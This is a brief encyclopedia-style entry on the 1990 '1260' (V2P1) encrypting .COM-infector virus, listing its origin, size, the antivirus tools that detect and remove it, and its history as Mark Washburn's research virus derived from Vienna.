The 1260 Virus
Here's a nice little encrypting virus written in America.
Aliases: V2P1
V Status: Research
Discovery: January, 1990
Symptoms: .COM file growth
Origin: Minnesota, USA
Eff Length: 1,260 Bytes
Type Code: PNC - Parasitic Encrypting Non-Resident .COM Infector
Detection Method: ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
AVTK 3.5+, VirHunt 2.0+, NAV
Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+, VirHunt 2.0+
General Comments:
The 1260 virus was first isolated in January, 1990. This
virus does not install itself resident in memory, but is it
extremely virulent at infecting .COM files. Infected files
will have their length increased by 1,260 bytes, and the
resulting file will be encrypted. The encryption key changes
with each infection which occurs.
The 1260 virus is derived from the original Vienna Virus, though
it is highly modified.
This virus was developed as a research virus by Mark Washburn, who
wished to show the anti-viral community why identification string
scanners do not work in all cases. The encryption used in 1260 is
one of many possible cases of the encryption which may occur with
Washburn's later research virus, V2P2.
